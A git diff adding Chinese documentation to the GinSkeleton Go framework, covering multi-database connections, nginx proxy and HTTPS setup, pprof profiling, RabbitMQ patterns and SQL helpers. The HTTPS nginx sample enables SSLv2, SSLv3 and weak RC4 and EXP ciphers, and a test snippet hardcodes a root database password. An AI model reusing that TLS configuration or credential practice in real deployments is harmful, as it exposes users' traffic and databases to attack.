b/GinSkeleton/docs/many_db_operate.md new file mode 100644 index 0000000..78af450 --- /dev/null +++ b/GinSkeleton/docs/many_db_operate.md @@ -0,0 +1,59 @@ +### 同时操作部署在不同服务器的多种数据库 +> 1.本项目骨架在 [数据库操作单元测试](../test/gormv2_test.go) 已经提供了同时操作多服务器、多种数据库的示例代码,为了将此功能更清晰地展现出来,本篇将单独进行介绍. +> 2.面对复杂场景,需要多个客户端连接到部署在多个不同服务器的 `mysql`、`sqlserver`、`postgresql` 等数据库时, 由于配置文件(config/gorm_v2.yml)只提供了一份数据库连接,无法满足需求,这时您可以通过自定义参数直接连接任意数据库,获取一个数据库句柄,供业务使用. + + +### 相关代码 +> 1.这里直接提取了相关的单元测试示例代码,更多其他操作仍然建议参考单元测试示例代码. +```code + +func TestCustomeParamsConnMysql(t *testing.T) { + // 定义一个查询结果接受结构体 + type DataList struct { + Id int + Username string + Last_login_ip string + Status int + } + // 设置动态参数连接任意多个数据库,以mysql为例进行单元测试 + // 参数结构体 Write 和 Read 只有设置了具体指,才会生效,否则程序自动使用配置目录(config/gorm_v.yml)中的参数 + confPrams := gorm_v2.ConfigParams{ + Write: struct { + Host string + DataBase string + Port int + Prefix string + User string + Pass string + Charset string + }{Host: "127.0.0.1", DataBase: "db_test", Port: 3306, Prefix: "tb_", User: "root", Pass: "DRsXT5ZJ6Oi55LPQ", Charset: "utf8"}, + Read: struct { + Host string + DataBase string + Port int + Prefix string + User string + Pass string + Charset string + }{Host: "127.0.0.1", DataBase: "db_stocks", Port: 3306, Prefix: "tb_", User: "root", Pass: "DRsXT5ZJ6Oi55LPQ", Charset: "utf8"}} + + var vDataList []DataList + + //gorm_v2.GetSqlDriver 参数介绍 + // sqlType : mysql 、sqlserver、postgresql 等数据库库类型 + // readDbIsOpen : 是否开启读写分离,1表示开启读数据库的配置,那么 confPrams.Read 参数部分才会生效; 0 则表示 confPrams.Read 部分参数直接忽略(即 读、写同库) + // confPrams 动态配置的数据库参数 + // 此外,其他参数,例如数据库连接池参数等,则直接调用配置项数据库连接池参数,基本不需要配置,这部分对实际操作影响不大 + if gormDbMysql, err := gorm_v2.GetSqlDriver("mysql", 0, confPrams); err == nil { + gormDbMysql.Raw("select id,username,status,last_login_ip from tb_users").Find(&vDataList) + fmt.Printf("Read 数据库查询结果:%v\n", vDataList) + res := gormDbMysql.Exec("update tb_users set real_name='Write数据库更新' where id<=2 ") + if res.Error==nil{ + fmt.Println("write 数据库更新成功") + }else{ + t.Errorf("单元测试失败,相关错误:%s\n",res.Error.Error()) + } + } +} + +``` \ No newline at end of file diff --git a/GinSkeleton/docs/nginx.md b/GinSkeleton/docs/nginx.md new file mode 100644 index 0000000..7bf372d --- /dev/null +++ b/GinSkeleton/docs/nginx.md @@ -0,0 +1,208 @@ +### nginx 配置 +> 1.本篇主要介绍 `nginx` 负载均衡与 `https(ssl)` 证书相关的配置. + +#### 1.配置负载均衡代理 `http` 功能 +> 1.如果你的 `go` 服务是通过 `nginx` 代理访问的,那么需要进行配置 +```code +#注意,upstream 部分放置在 server 块之外,至少需要一个服务器ip。 +upstream goskeleton_list { + # 设置负载均衡模式为ip算法模式,这样不同的客户端每次请求都会与第一次建立对话的后端服务器进行交互 + ip_hash; + server 127.0.0.1:20202 ; + server 127.0.0.1:20203 ; +} +server{ + #监听端口 + listen 80 ; + # 站点域名,没有的话,写项目名称即可 + server_name www.ginskeleton.com ; + root /home/wwwroot/goproject2020/goskeleton/public ; + index index.htm index.html ; + charset utf-8 ; + + # 使用 nginx 直接接管静态资源目录 + # 由于 ginskeleton 把路由(public)地址绑定到了同名称的目录 public ,所以我们就用 nginx 接管这个资源路由 + location ~ /public/(.*) { + # 使用我们已经定义好的 root 目录,然后截取用户请求时,public 后面的所有地址,直接响应资源,不存在就返回404 + try_files /$1 =404; + } + + + location ~ / { + # 静态资源、目录交给ngixn本身处理,动态路由请求执行后续的代理代码 + try_files $uri $uri/ @goskeleton; + } + location @goskeleton { + + #将客户端的ip和头域信息一并转发到后端服务器 + proxy_set_header Host $http_host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + + # 转发Cookie,设置 SameSite + proxy_cookie_path / "/; secure; HttpOnly; SameSite=strict"; + + # 最后,执行代理访问真实服务器 + proxy_pass http://goskeleton_list ; + + } + # 以下是静态资源缓存配置 + location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ + { + expires 30d; + } + + location ~ .*\.(js|css)?$ + { + expires 12h; + } + + location ~ /\. + { + deny all; + } +} + + +``` + +### 2.配置 `websocket` +> 如果你的 `websocket` 服务是通过 `nginx` 代理访问的,那么需要在 `nginx` 的配置项需要进行如下设置 +```websocket + +upstream ws_list { + ip_hash; + server 192.168.251.149:20175 ; + #server 192.168.251.149:20176 ; +} + +server { + listen 20175; + server_name localhost; + + location / { + proxy_http_version 1.1; + proxy_set_header Upgrade websocket; + proxy_set_header Connection Upgrade; + proxy_read_timeout 60s ; + + proxy_set_header Host $http_host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + + proxy_cookie_path / "/; secure; HttpOnly; SameSite=strict"; + + proxy_pass http://ws_list ; + + } + + + location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ + { + expires 30d; + } + + location ~ .*\.(js|css)?$ + { + expires 12h; + } + + location ~ /\. + { + deny all; + } +} + +``` + + +#### 3.配置 `https` 功能 +> 1.基于 `http` 内容稍作修改即可. +> 2.相关域名、云服务器都必须备案,否则无法通过域名访问,但是仍然可以通过 `http://云服务器ip` 访问,只不过通过ip访问会浏览器地址栏会提示不安全. + +```nginx + +#注意,upstream 部分放置在 server 块之外,至少需要一个服务器ip。 +upstream goskeleton_list { + # 设置负载均衡模式为ip算法模式,这样不同的客户端每次请求都会与第一次建立对话的后端服务器进行交互 + ip_hash; + server 127.0.0.1:20202 ; + server 127.0.0.1:20203 ; +} +// 这里主要是将 http 访问重定向到 https,这样就能同时支持 http 和 https 访问 +server { + listen 80; + server_name www.ginskeleton.com; + rewrite ^(.*)$ https://$host$1 permanent; +} + +server{ + #监听端口 + listen 443 ssl ; + # 站点域名,没有的话,写项目名称即可 + server_name www.ginskeleton.com ; + root /home/wwwroot/goproject2020/goskeleton/public ; + index index.html index.htm ; + charset utf-8 ; + + # 配置 https 证书 + # ssl on; # 注意,在很早的低版本nginx上,此项是允许打开的,但是在高于 1.1x.x 版本要求必须关闭. + ssl_certificate ginskeleton.crt; # 实际配置建议您指定证书的绝对路径 + ssl_certificate_key ginskeleton.key; # ginskeleton.crt 、ginskeleton.key 需要向云服务器厂商申请,后续有介绍 + ssl_session_timeout 5m; + ssl_protocols TLSv1 TLSv1.1 TLSv1.2 SSLv2 SSLv3; + ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP; + ssl_prefer_server_ciphers on; + + # 使用 nginx 直接接管静态资源目录 + # 由于 ginskeleton 把路由(public)地址绑定到了同名称的目录 public ,所以我们就用 nginx 接管这个资源路由 + location ~ /public/(.*) { + # 使用我们已经定义好的 root 目录,然后截取用户请求时,public 后面的所有地址,直接响应资源,不存在就返回404 + try_files /$1 =404; + } + + location ~ / { + # 静态资源、目录交给ngixn本身处理,动态路由请求执行后续的代理代码 + try_files $uri $uri/ @goskeleton; + } + // 这里的 @goskeleton 和 try_files 语法块的名称必须一致 + location @goskeleton { + + #将客户端的ip和头域信息一并转发到后端服务器 + proxy_set_header Host $http_host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + + # 转发Cookie,设置 SameSite + proxy_cookie_path / "/; secure; HttpOnly; SameSite=strict"; + + # 最后,执行代理访问真实服务器 + proxy_pass http://goskeleton_list ; + + } + # 以下是静态资源缓存配置 + location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ + { + expires 30d; + } + + location ~ .*\.(js|css)?$ + { + expires 12h; + } + + location ~ /\. + { + deny all; + } +} + + +``` + +#### 4.关于 `https` 的简要介绍 +> 1.首先能保证数据在传输过程中的安全性. +> 2.证书需要向第三方代理机构申请(华为云、阿里云、腾讯云等), 个人证书一般都会有免费一年的体验期. +> 3.证书申请时需要提交您的相关域名, 颁发机构会把您的域名信息和证书绑定, 最终配置在nginx, 当使用浏览器访问时, 浏览器地址栏会变成绿色安全图标. +> 4.本次使用的 `ssl` 证书是在腾讯云申请的1年免费期证书, 申请地址:`https://console.cloud.tencent.com/ssl` , 企业证书一年至少在 3000+ 元. +> 5.项目前置 `nginx` 服务器配置 `ssl` 证书通过`https` 协议在网络中传输数据, 当加密数据到达 `nginx` 时,瞬间会被 `http_ssl_module` 模块解密为明文,因此代理的负载均衡服务器不需要配置 `ssl` 选项. diff --git a/GinSkeleton/docs/project_analysis_1.md b/GinSkeleton/docs/project_analysis_1.md new file mode 100644 index 0000000..e19f970 --- /dev/null +++ b/GinSkeleton/docs/project_analysis_1.md @@ -0,0 +1,24 @@ +## GoSkeleton 项目骨架性能分析报告(一) +> 1.本次将按照一次请求的生命周期为主线(request--->response),跟踪各部分代码段的cpu耗时,得出可视化的性能报告. + +### 前言 +> 1.本次分析,我们以项目骨架默认的门户网站接口为例,该接口虽然简单,但是包含了一个 request 到 response 完整生命周期主线逻辑,很具有代表性. +> 2.待分析的接口地址:`http://127.0.0.1:20191/api/v1/home/news?newsType=portal&page=1&limit=50` + +### cpu数据采集步骤 +> 1.`config/config.yml` 文件中,AppDebug 设置为 true , 调试模式才能进行分析. +> 2.访问接口:`http://127.0.0.1:20191/`, 确保项目正常启动. +> 3.浏览器访问pprof接口:`http://127.0.0.1:20191/debug/pprof/`, 点击 `profile` 选项,程序会对本项目进程, 进行 cpu 使用情况底层数据采集, 该过程会持续 30 秒. +![pprof地址](https://www.ginskeleton.com/images/pprof_menue.jpg) +> 4.第3步点击以后,必须快速运行 [pprof测试用例](../test/http_client_test.go) 中的 `TestPprof()` 函数,该函数主要负责请求接口,让程序处理业务返回结果, 模拟 request --> response 过程. +> 5.执行了步骤3和步骤4才能采集到数据,稍等片刻,30秒之后,您点击过的步骤3就会提示下载文件:`profile`, 请保存在您能记住的路径中,稍后马上使用该文件(profile), 至此cpu数据已经采集完毕. + +### cpu数据分析步骤 +> 1.首先下载安装 [graphviz](https://www.graphviz.org/download/) ,根据您的系统选择相对应的版本安装,安装完成记得将`安装目录/bin`, 加入系统环境变量. +> 2.打开cmd窗口,执行 `dot -V` ,会显示版本信息,说明安装已经OK, 那么继续执行 `dot -c` 安装图形显示所需要的插件. +> 3.在cpu数据采集环节第三步,您已经得到了 `profile` 文件,那么就在同目录打开cmd窗口,执行 `go tool pprof profile`, 然后输入 `web` 回车就会自动打开浏览器,展示给您如下结果图: +![cpu分析_上](https://www.ginskeleton.com/images/pprof_cmd.jpg) + +### 报告详情参见如下图 +![cpu分析_上](https://www.ginskeleton.com/images/analysis1.png) + diff --git a/GinSkeleton/docs/project_analysis_2.md b/GinSkeleton/docs/project_analysis_2.md new file mode 100644 index 0000000..1e86319 --- /dev/null +++ b/GinSkeleton/docs/project_analysis_2.md @@ -0,0 +1,68 @@ +## GoSkeleton 项目骨架性能分析报告(二) +> 1.本次我们分析的目标是操作数据库, 通过操作数据库,分析相关代码段cpu的耗时,得出可视化的性能分析报告。 + + +### 操作数据库, 我们需要做如下铺垫代码 +> 1.我们本次分析的核心是在数据库操作部分, 因此我们在路由出添加如下代码,访问路由即可触发数据库的调用. +```code + router.GET("/", func(context *gin.Context) { + // 默认路由处直接触发数据库调用 + if model.CreateTestFactory("").SelectDataMultiple() { + context.String(200,"批量查询数据OK") + } else { + context.String(200,"批量查询数据出错") + } + context.String(http.StatusOK, "Api 模块接口 hello word!") + }) +``` + +> 2.数据库部分代码,主要逻辑是每次查询1000条,循环查询了100次,并且在最后一次输出了结果集. + ```code +func (t *Test) SelectDataMultiple() bool { + // 本次测试的数据表内有6000条左右数据 + sql := ` + SELECT + code,name,company_name,indudtry,created_at + FROM + db_stocks.tb_code_list + LIMIT 0, 1000 ; + ` + //1.首先独立预处理sql语句,无参数 + if t.PrepareSql(sql) { + + var code, name, company_name, indudtry, created_at string + for i := 1; i <= 100; i++ { + //2.执行批量查询 + rows := t.QuerySqlForMultiple() + if rows == nil { + variable.ZapLog.Sugar().Error("sql执行失败,sql:", sql) + return false + } else { + // 我们只输出最后一行数据 + if i == 100 { + for rows.Next() { + _ = rows.Scan(&code, &name, &company_name, &indudtry, &created_at) + fmt.Println(code, name, company_name, indudtry, created_at) + } + } + } + rows.Close() + } + } + variable.ZapLog.Info("批量查询sql执行完毕!") + return true +} + ``` +### cpu 底层数据采集步骤 +> 1.浏览器访问pprof接口:`http://127.0.0.1:20191/debug/pprof/`, 点击 `profile` 选项,程序会对本项目进程, 进行 cpu 使用情况底层数据采集, 该过程会持续 30 秒. +![pprof地址](https://www.ginskeleton.com/images/pprof_menue.jpg) +> 2.新开浏览器窗口,输入 `http://127.0.0.1:20191/` 刷新,触发路由中的数据库操作代码, 等待被 pprof 采集数据. +> 3.稍等片刻,30秒之后,您点击过的步骤1就会提示下载文件:`profile`, 请保存在您能记住的路径中,稍后马上使用该文件(profile), 至此cpu数据已经采集完毕. + +### cpu数据分析步骤 +> 1.首先下载安装 [graphviz](https://www.graphviz.org/download/) ,根据您的系统选择相对应的版本安装,安装完成记得将`安装目录/bin`, 加入系统环境变量. +> 2.打开cmd窗口,执行 `dot -V` ,会显示版本信息,说明安装已经OK, 那么继续执行 `dot -c` 安装图形显示所需要的插件. +> 3.在cpu数据采集环节第三步,您已经得到了 `profile` 文件,那么就在同目录打开cmd窗口,执行 `go tool pprof profile`, 然后输入 `web` 回车就会自动打开浏览器,展示给您如下结果图: + +### 报告详情参见如下图 +![cpu分析_上](https://www.ginskeleton.com/images/cpu_sql.png) diff --git a/GinSkeleton/docs/project_analysis_3.md b/GinSkeleton/docs/project_analysis_3.md new file mode 100644 index 0000000..dae8ff1 --- /dev/null +++ b/GinSkeleton/docs/project_analysis_3.md @@ -0,0 +1,99 @@ +## GoSkeleton 项目骨架性能分析报告(三) +> 1.内存分析篇我们原计划分为2篇:主线逻辑和操作数据库部分,但是经过测试发现,如果不操作数据库处理大量数据,主线逻辑基本不占用内存,根本就采集不到有效数据. +> 2.基于第一条因素,我们将内存占用分析限定在操作数据库代码段,分析相关代码段内存占用,得出可视化的性能分析报告。 + + +### 操作数据库, 我们需要做如下铺垫代码 +> 1.我们本次分析的核心是在数据库操作部分, 因此我们在路由出添加如下代码,访问路由即可触发数据库的调用. +```code + router.GET("/", func(context *gin.Context) { + // 默认路由处直接触发数据库调用 + if model.CreateTestFactory("").SelectDataMultiple() { + context.String(200,"批量查询数据OK") + } else { + context.String(200,"批量查询数据出错") + } + context.String(http.StatusOK, "Api 模块接口 hello word!") + }) +``` + +> 2.操作数据库部分代码,主要逻辑是每次查询1000条,循环查询了500次,每一次将结果存储在变量,并且在最后一次输出了结果集. + ```code +// 超多数据批量查询的正确姿势 +func (t *Test) SelectDataMultiple() bool { + // 如果您要亲自测试,请确保相关表存在,并且有数据 + sql := ` + SELECT + code,name,company_name,concepts,indudtry,province,city,introduce,created_at + FROM + db_stocks.tb_code_list + LIMIT 0, 1000 ; + ` + //1.首先独立预处理sql语句,无参数 + if t.PrepareSql(sql) { + // 你可以模拟插入更多条数据,例如 1万+ + var code, name, company_name, concepts, indudtry, province, city, introduce, created_at string + + type Column struct { + Code string `json:"code"` + Name string `json:"name"` + Company_name string `json:"company_name"` + Concepts string `json:"concepts"` + Indudtry string `json:"indudtry"` + Province string `json:"province"` + City string `json:"city"` + Introduce string `json:"introduce"` + Created_at string `json:"created_at"` + } + + + for i := 1; i <= 500; i++ { + var nColumn = make([]Column, 0) + //2.执行批量查询 + rows := t.QuerySqlForMultiple() + if rows == nil { + variable.ZapLog.Sugar().Error("sql执行失败,sql:", sql) + return false + } else { + for rows.Next() { + _ = rows.Scan(&code, &name, &company_name, &concepts, &indudtry, &province, &city, &introduce, &created_at) + oneColumn := Column{ + code, + name, + company_name, + concepts, + indudtry, + province, + city, + introduce, + created_at, + } + nColumn = append(nColumn, oneColumn) + + } + //// 我们只输出最后一行数据 + if i == 500 { + fmt.Println("循环结束,最终需要返回的结果成员数量:",len(nColumn)) + fmt.Printf("%#+v\n",nColumn) + } + } + rows.Close() + } + } + variable.ZapLog.Info("批量查询sql执行完毕!") + return true +} + + ``` +### 内存占用 底层数据采集步骤 +> 1.浏览器访问pprof接口:`http://127.0.0.1:20191/debug/pprof/heap?seconds=30`, 该过程会持续 30 秒,采集本进程内存变化数据. +> 2.新开浏览器窗口,输入 `http://127.0.0.1:20191/` 刷新,触发路由中的数据库操作代码, 等待被 pprof 采集数据. +> 3.稍等片刻,30秒之后,您点击过的步骤1就会提示下载文件:`heap-delta`, 请保存在您能记住的路径中,稍后马上使用该文件(heap-delta), 至此内存占用数据已经采集完毕. + +### 内存占用数据分析步骤 +> 1.首先下载安装 [graphviz](https://www.graphviz.org/download/) ,根据您的系统选择相对应的版本安装,安装完成记得将`安装目录/bin`, 加入系统环境变量. +> 2.打开cmd窗口,执行 `dot -V` ,会显示版本信息,说明安装已经OK, 那么继续执行 `dot -c` 安装图形显示所需要的插件. +> 3.我们已经得到了 `heap-delta` 文件,那么就在同目录打开cmd窗口,执行 `go tool pprof -inuse_space heap-delta`, 然后输入 `web` 回车就会自动打开浏览器,展示给您如下结果图: + +### 报告详情参见如下图 +![内存占用分析](https://www.ginskeleton.com/images/sql_memory.png) diff --git a/GinSkeleton/docs/project_struct.md b/GinSkeleton/docs/project_struct.md new file mode 100644 index 0000000..951f387 --- /dev/null +++ b/GinSkeleton/docs/project_struct.md @@ -0,0 +1,55 @@ +### 项目结构目录介绍 +> 1.主要介绍本项目骨架的核心目录结构 + +```code +|-- app +| |-- aop // Aop切面demo代码段 +| | `-- users +| |-- core // 程序容器部分、用于表单参数器注册、配置文件存储等 +| | |-- container +| | |-- destroy +| | `-- event_manage +| |-- global // 全局变量以及常量、程序运行错误定义 +| | |-- consts +| | |-- my_errors +| | `-- variable +| |-- http // http相关代码段,主要为控制器、中间件、表单参数验证器 +| | |-- controller +| | |-- middleware +| | `-- validator +| |-- model // 数据库表模型 +| | |-- base_model.go +| | `-- users.go +| |-- service +| | |-- sys_log_hook +| `-- utils // 第三方包封装层 +| |-- gorm_v2 +| |-- ... ... +|-- bootstrap // 项目启动初始化代码段 +| `-- init.go +|-- cmd // 项目入口,分别为门户站点、命令模式、web后端入口文件 +| |-- api +| | `-- main.go +| |-- cli +| | `-- main.go +| `-- web +| `-- main.go +|-- command // cli模式代码目录 +| |-- +|-- config // 项目、数据库参数配置 +| |-- config.yml +| `-- gorm_v2.yml +|-- database +|-- docs // 项目文档 +| |-- +|-- go.mod +|-- go.sum +|-- public +|-- routers // 后台和门户网站路由 +| |-- api.go +| `-- web.go +|-- storage // 日志、资源存储目录 +| `-- +`-- test// 单元测试目录 + |-- +``` \ No newline at end of file diff --git a/GinSkeleton/docs/rabbitmq.md b/GinSkeleton/docs/rabbitmq.md new file mode 100644 index 0000000..caa40a6 --- /dev/null +++ b/GinSkeleton/docs/rabbitmq.md @@ -0,0 +1,180 @@ +### 消息队列(RabbitMq)概要 +> 1.本文档主要按照本人的理解介绍RabbitMq的功能、如何使用。 +> 2.关于RabbitMq的各种使用场景以及与其他同类产品的横向、纵向对比请自行百度。 +> 3.消息队列看起来貌似非常复杂,感觉很麻烦,其实通过本项目骨架封装之后,使用非常简单,开发者安装rabbitmq(类似安装mysql),配置好账号、密码、端口即可快速使用. +> 4.消息队列的两个核心角色:生产者(通常是一次性投递消息),消费者(需要一直处于阻塞状态监听、接受、处理消息)。 +> 5.关于消费者如何启动问题: +> (a)开发完成消费者代码,在程序启动处(BootStrap/Init.go)通过导入包初始化形式启动(该模式相当于与本项目骨架捆绑启动)。 +> (b)程序`cmd`目录创建相关功能分类、入口文件,调用相关的消费者程序,独立编译、启动。 +> (c)本项目骨架引入了`cobra`包,同样可以做到独立编译启动。 + +### 快速安装步骤(基于docker) +> 1.比较详细的安装的参考地址:http://note.youdao.com/noteshare?id=3d8850a96ed288a0ae5c5421206b0f4e&sub=62EAE38FE217410E8D70859A152BCF8F +> 2.安装rabbitMq可以理解为安装一个mysql,默认创建的账号可以理解为 root,可以直接操作rabbitmq. +> 3.为了项目更安全,可以登录后台地址(`http://IP:15672`),自行为项目创建虚拟主机(类似mysql的数据库)、账号,最后将账号允许的操作虚拟进行绑定即可. + +### RabbitMq常用的几种模式 +![全场景图](https://www.ginskeleton.com/images/rabbitmq.jpg) +#### 1.`hello_world`模式(最基本模式), 特点如下: +> 1 一个生产者(producer)、一个消费者(consumer)通过队列(queue)进行 **一对一** 的数据传输。 +> 2.使用非常简单,适合简单业务场景使用,相关的场景模型图: +> ![场景图](https://www.ginskeleton.com/images/helloworld.png) + +#### 2.`WorkQueue`模式(在消费者之间按照竞争力分配任务), 特点如下: +> 1 生产者(producer)、多个消费者(consumer)通过队列(queue)进行**一对多、多对多**的数据传输。 +> 2.生产者(producer)将消息发布到交换机(exchange)的某个队列(queue),多个消费者(consumer)其中只要有一个消费(取走)了消息,那么其他消费者(consumer)将不会重复获得。 +> 3.消费者支持设置更多的参数,使配置强的消费者可以多处理消息,配置低的可以少处理消息,做到尽其所能,资源最大化利用。 +> ![场景图](https://www.ginskeleton.com/images/workqueue.png) + +#### 3.`publish/subscribe`模式(同时向许多消费者发送消息), 特点如下: +> 1 生产者(producer)、多个消费者(consumer)通过队列(queue)进行**一对多、多对多**的数据传输。 +> 2.生产者(producer)将消息发布到交换机(exchange)的某个队列(queue),多个消费者(consumer)处理消息。 +> 3.该模式也叫作广播(broadcast)、扇形(fanout)、发布/订阅模式,消费者(consumer)可以通过配置,接收来自生产者(consumer)发送的全部消息;或者每种消费者只接收指定队列的消息,将生产者发送的消息进行分类(按照不同的队列)处理。 +> ![场景图](https://www.ginskeleton.com/images/fanout.png) + +#### 4.`routing`模式(有选择性地接收消息), 特点如下: +> 1 生产者(producer)、多个消费者(consumer)通过队列(queue)进行**一对多、多对多**的数据传输。 +> 2.生产者(producer)将消息发布到交换机(exchange)已经绑定好路由键的某个队列(queue),多个消费者(consumer)可以通过绑定的路由键获取消息、处理消息。 +> 3.该模式下,消息的分类应该应该明确、种类数量不是非常多,那么就可以指定路由键(key)、绑定的到交换器的队列实现消息精准投递。 +> ![场景图](https://www.ginskeleton.com/images/routing.png) + +#### 5.`topics`模式(基于主题接收消息), 特点如下: +> 1 该模式就是`routing`模式的加强版,由原来的路由键精确匹配模式升级现在的模糊匹配模式。 +> 2.语法层面主要表现为灵活的匹配规则: +> 2.1 # 表示匹配一个或多个任意字符; +> 2.2 *表示匹配一个字符; +> 2.3 .(点)本身无实际意义,不表示任何匹配规则,主要用于将关键词分隔开,它的左边或右边可以写匹配规则,例如:abc.# 表示匹配abc张三、abc你好等;#.abc.# 表示匹配路由键中含有abc的字符; +> 3.注意:匹配语法中如果没有 .(点),那么匹配规则是无效的,例如:orange#,可能本意是匹配orange任意字符,实际上除了匹配 orange#本身之外,什么也匹配不到。 +> ![场景图](https://www.ginskeleton.com/images/topics.png) + +#### 6.`RPC`模式(请求、回复), 特点如下: +> 1 严格地说,该模式和消息队列没有什么关系,通常是微服务场景才会使用远程过程调用(RPC),本功能建议自行学习或者选择专业的微服务框架使用,解决实际问题,本文档不做介绍。 +> ![场景图](https://www.ginskeleton.com/images/rpc.png) + +### RabbitMq快速使用指南 +> 1.建议使用docker 快速安装使用即可,安装步骤请自行搜索。 +> 2.详细使用指南参见单元测试demo代: [rabbitmq全量单元测试](../test/rabbitmq_test.go) +> 3.六种场景模型我们封装了统一的使用规范。 + +#### 1.hello_world、work_queue、publish_subscribe 场景模型使用: +> 相关配置参见:config/config.yaml, rbbitmq 部分 +##### 1.1 启动一个消费者,通过回调函数在阻塞模式进行消息处理 +```go +consumer, err := HelloWorld.CreateConsumer() + if err != nil { + fmt.Printf("HelloWorld单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + // 连接关闭的回调,主要是记录错误,进行后续更进一步处理,不要尝试在这里编写重连逻辑 + // 本项目已经封装了完善的消费者端重连逻辑,触发这里的代码说明重连已经超过了最大重试次数 + consumer.OnConnectionError(func(err *amqp.Error) { + log.Fatal(MyErrors.ErrorsRabbitMqReconnectFail + "\n" + err.Error()) + }) + + // 进入阻塞状态,处理消息 + consumer.Received(func(received_data string) { + fmt.Printf("HelloWorld回调函数处理消息:--->%s\n", received_data) + }) +``` +##### 1.2 调用生产者投递一个或者多个消息,投递通常都是一次性的。 +```go + // 这里创建场景模型的时候通过不同的模型名称创建即可,主要有:hello_world、work_queue、publish_subscribe + hello_producer, _ := hello_world.CreateProducer() + var res bool + for i := 0; i < 10; i++ { + str := fmt.Sprintf("%d_hello_world开始发送消息测试", (i + 1)) + res = hello_producer.Send(str) + //time.Sleep(time.Second * 1) + } + + hello_producer.Close() // 消息投递结束,必须关闭连接 + // 简单判断一下最后一次发送结果 + if res { + fmt.Printf("消息发送OK") + } else { + fmt.Printf("消息发送 失败") + } + +``` + +#### 2.routing、topics 场景模型使用: +> `routing`模式属于路由键的严格匹配模式。 +> `topics`模式比`routing`模式更灵活,两者使用、功能几乎完全一致。该模式完全可以代替`routing`模式,因此这里仅介绍 `topics`模式。 +> 注意:生产者设置键的规则必须是:关键词A.关键词B.关键词C等,即关键词之间必须使用.(点)隔开,消费者端只需要将.(点)左边或右边的关键词使用#代替即可。 + +##### 2.1 启动多个消费者,处于阻塞模式进行消息接受、处理。 +```go + // 启动第一个消费者,这里使用协程的目的主要是保证第一个启动后不阻塞,否则就会导致第二个消费者无法启动 + go func(){ + consumer, err := Topics.CreateConsumer() + + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + // 连接关闭的回调,主要是记录错误,进行后续更进一步处理,不要尝试在这里编写重连逻辑 + // 本项目已经封装了完善的消费者端重连逻辑,触发这里的代码说明重连已经超过了最大重试次数 + consumer.OnConnectionError(func(err *amqp.Error) { + log.Fatal(MyErrors.ErrorsRabbitMqReconnectFail + "\n" + err.Error()) + }) + + // 通过route_key 模糊匹配队列路由键的消息来处理 + consumer.Received("#.even", func(received_data string) { + fmt.Printf("模糊匹配偶数键:--->%s\n", received_data) + }) + }() + + // 启动第二个消费者,这里没有使用协程,在消息处理环节程序就会阻塞等待,处理消息 + consumer, err := Topics.CreateConsumer() + + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + // 连接关闭的回调,主要是记录错误,进行后续更进一步处理,不要尝试在这里编写重连逻辑 + // 本项目已经封装了完善的消费者端重连逻辑,触发这里的代码说明重连已经超过了最大重试次数 + log.Fatal(MyErrors.ErrorsRabbitMqReconnectFail + "\n" + err.Error()) + }) + + // 通过route_key 模糊匹配队列路由键的消息来处理 + consumer.Received("#.odd", func(received_data string) { + + fmt.Printf("模糊匹配奇数键:--->%s\n", received_data) + }) + +``` + +##### 2.2 调用生产者投递一个或者多个消息 +```go + + producer, _ := Topics.CreateProducer() + var res bool + var key string + for i := 1; i <= 10; i++ { + + // 将 偶数 和 奇数 分发到不同的key,消费者端,启动两个也各自处理偶数和奇数 + if i%2 == 0 { + key = "key.even" // 偶数键 + } else { + key = "key.odd" // 奇数键 + } + str_data := fmt.Sprintf("%d_Routing_%s, 开始发送消息测试", i, key) + res = producer.Send(key, str_data) + //time.Sleep(time.Second * 1) + } + + producer.Close() // 消息投递结束,必须关闭连接 + + // 简单判断一下最后一次发送结果 + if res { + fmt.Printf("消息发送OK") + } else { + fmt.Printf("消息发送 失败") + } + //Output: 消息发送OK + +``` \ No newline at end of file diff --git a/GinSkeleton/docs/sql_stament.md b/GinSkeleton/docs/sql_stament.md new file mode 100644 index 0000000..de6447e --- /dev/null +++ b/GinSkeleton/docs/sql_stament.md @@ -0,0 +1,50 @@ +### Sql操作命令集合 +>本文档主要介绍了sql操作的核心命令,详细操作命令示例代码参见 [mysql示例文档](../app/model/test.go). [sqlserver测试用例](../test/db_sqlserver_test.go) , [postgreSql测试用例](../test/db_postgresql_test.go) 操作方式同 mysql . + +#### 1.查询类: 不会修改数据的sql、存储过程、视图 +```sql + // 首先获取一个数据连接 + sqlservConn := sql_factory.GetOneSqlClient("postgre") // 参数为空,默认就是mysql驱动,您还可以传递 sqlserver 、 postgresql 参数获取对应数据库的一个连接. + #1.多条查询: + sqlservConn.QuerySql + #2.单条查询: + sqlservConn.QueryRow +``` + +#### 2.执行类: 会修改数据的sql、存储过程等 +```sql + #1.执行命令,主要有 insert 、 updated 、 delete + sqlservConn.ExecuteSql +``` + +#### 3.预处理类:如果场景需要批量插入很多条数据,那么就需要独立调用预编译 +> 1.如果你的sql语句需要循环插入1万、5万、10万+数据。 +> 2.那么可能会报错: Error 1461: Can't create more than max_prepared_stmt_count statements (current value: 16382) +> 3.此时需要以下解决方案 +```sql + #1.预编译,预处理类之后,执行批量语句 + sqlservConn.PrepareSql + #2.(多条)执行类 + sqlservConn.ExecuteSqlForMultiple + #3.(多条)查询类 + sqlservConn.QuerySqlForMultiple +``` + +#### 4.事务类操作 +```sql + #1.开启一个事务 + tx:=sqlservConn.BeginTx() + + #2.预编译sql + tx.Prepare + + #3.执行sql + tx.Exec + + #4.提交 + tx.Commit + + #5.回滚 + tx.Rollback +``` + \ No newline at end of file diff --git a/GinSkeleton/docs/supervisor.md b/GinSkeleton/docs/supervisor.md new file mode 100644 index 0000000..238230a --- /dev/null +++ 